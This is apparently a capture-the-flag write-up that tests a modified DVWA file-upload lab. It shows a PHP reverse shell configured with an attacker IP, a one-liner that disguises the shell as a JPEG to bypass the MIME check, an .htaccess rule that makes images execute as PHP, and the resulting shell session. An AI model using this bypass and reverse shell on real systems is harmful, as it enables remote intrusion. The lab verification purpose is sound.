

Writeup of CTF

The objective is to make sure the File Upload module behaves as intended, that a reverse shell can be uploaded and executed, testers can reach foothold and then read the flag. Also to check that nothing of the DVWA modifications broke the exploitation path.

Environmental set up

Application: Custom DVWA (dvwa-custom-test)

Container runtime: Docker

Webserver: Apache 2.4 with PHP 8

Port: 8081

Upload directory: `/var/www/html/hackable/uploads/`

Additional configuration: *.htaccess added to enable PHP execution inside uploaded files:*

AddHandler application/x-httpd-php .jpg .jpeg .gif .png .php .php.jpg .jpg.php

Flag location: `/foothold/flag.txt`

Testing machine: Kali Linux (attacker VM)

Reverse shell listener: `nc -lvnp 4444`

Payload: PentestMonkey PHP reverse shell

1. Step by step exploitation

Initial upload test:

The test began by attempting to upload a standard PHP reverse shell (`reverse-shell.php`).

The modified upload module correctly rejected this file based on extension filtering:

- The `.php` extension triggered the intended security check.
- A validation message confirmed the upload was blocked.

This confirms that participants cannot simply upload a raw PHP payload.

Using Pentestmokey's reverse shell, and changing these two parameters (IP and Port):

```
47 set_time_limit (0);
48 $VERSION = "1.0";
49 $ip = '172.16.49.134'; // CHANGE THIS
50 $port = 4444; // CHANGE THIS
51 $chunk_size = 1400;
52 $write_a = null;
53 $error_a = null;
54 $shell = 'uname -a; w; id; /bin/sh -i';
55 $daemon = 0;
56 $debug = 0;
```

Uploading the reverse-shell.php file in DVWA. This gets rejected as only images are allowed, not php files.

Browse... No file selected.

Upload

Rejected: Only images allowed (MIME check failed).

Payload preparation:

To bypass the extension and MIME-based validation, the PHP reverse shell was wrapped inside a fake JPEG header using:

```
(kali@kali)-[~]
$ printf '\xFF\xD8\xFF' | cat - reverse-shell.php > reverse-shell.jpg
```

Successful Upload:

The polyglot file was uploaded through the interface at: `/vulnerabilities/upload/`

Once uploaded this message is displayed, saying it is a success and gives a path to where it was uploaded:

Uploaded successfully: `hackable/uploads/custom_f2ea9a8b36080c36909aa3821c8b67e8/img_1e16dcf6be.jpg`

Reverse Shell Execution:

With the listener running (`nc -lvp 4444`), the uploaded payload was triggered through a direct GET request to its stored path

http://193.157.189.237:8081/hackable/uploads/custom_f2ea9a8b36080c36909aa3821c8b67e8/img_aef66a78ae.jpg.

The reverse shell successfully connected back to the attacker machine, providing a remote shell as user `www-data`:

```

(kali@kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.16.49.134] from (UNKNOWN) [172.16.49.1] 61005
Linux 865e2a1f4eb4 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Sep 10 06:48:35 UTC 2025 x86_64 GNU/Linux
09:31:36 up 53 min, 0 users, load average: 1.46, 1.25, 0.78
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

```

This confirms that:

- The `.htaccess` configuration works as intended
- PHP executes inside uploads
- Payload triggers immediately upon request

To obtain an interactive TTY, the following command was executed: `script -qc /bin/bash /dev/null`. File navigation worked normally after this.

```

$ script -qc /bin/bash /dev/null
www-data@865e2a1f4eb4:/ $ ls -la
ls -la
total 64
drwxr-xr-x 1 root root 4096 Nov 30 13:01 .
drwxr-xr-x 1 root root 4096 Nov 30 13:01 ..
-rwxr-xr-x 1 root root    0 Nov 30 13:01 .dockerenv
lrwxrwxrwx 1 root root    7 Nov  7 17:40 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Nov  7 17:40 boot
drwxr-xr-x 5 root root 340 Dec  1 09:17 dev
drwxr-xr-x 1 root root 4096 Nov 30 13:01 etc
drwxr-xr-x 1 root root 4096 Nov 30 12:36 foothold
drwxr-xr-x 2 root root 4096 Nov  7 17:40 home
lrwxrwxrwx 1 root root    7 Nov  7 17:40 lib -> usr/lib
lrwxrwxrwx 1 root root    9 Nov  7 17:40 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Nov 17 00:00 media
drwxr-xr-x 2 root root 4096 Nov 17 00:00 mnt
drwxr-xr-x 2 root root 4096 Nov 17 00:00 opt
dr-xr-xr-x 220 root root    0 Dec  1 09:17 proc
drwxr-xr-x 1 root root 4096 Nov 30 13:06 root
drwxr-xr-x 1 root root 4096 Nov 30 12:19 run
lrwxrwxrwx 1 root root    8 Nov  7 17:40/sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Nov 17 00:00 srv
dr-xr-xr-x 11 root root    0 Dec  1 09:17 sys
drwxrwxrwt 1 root root 4096 Dec  1 09:31 tmp
drwxr-xr-x 1 root root 4096 Nov 17 00:00 usr
drwxr-xr-x 1 root root 4096 Nov 20 19:46 var
www-data@865e2a1f4eb4:/ $

```

Flag Retrieval:

The `/foothold/` directory was enumerated to see the `flag.txt` file. However, the file cannot be read through `cat`.

```

cd foothold
www-data@865e2a1f4eb4:/foothold$ ls
ls
flag.txt
www-data@865e2a1f4eb4:/foothold$ cat flag.txt
cat flag.txt
bash: /usr/bin/cat: Permission denied
www-data@865e2a1f4eb4:/foothold$

```

The flag could be read with the `grep` command instead.

```

www-data@865e2a1f4eb4:/foothold$ grep '' /foothold/flag.txt
grep '' /foothold/flag.txt
FLAG{INITIAL_FOOTHOLD_ACHIEVED}

```

This confirms the core requirement of the experiment:

The flag is reachable only after obtaining a remote foothold.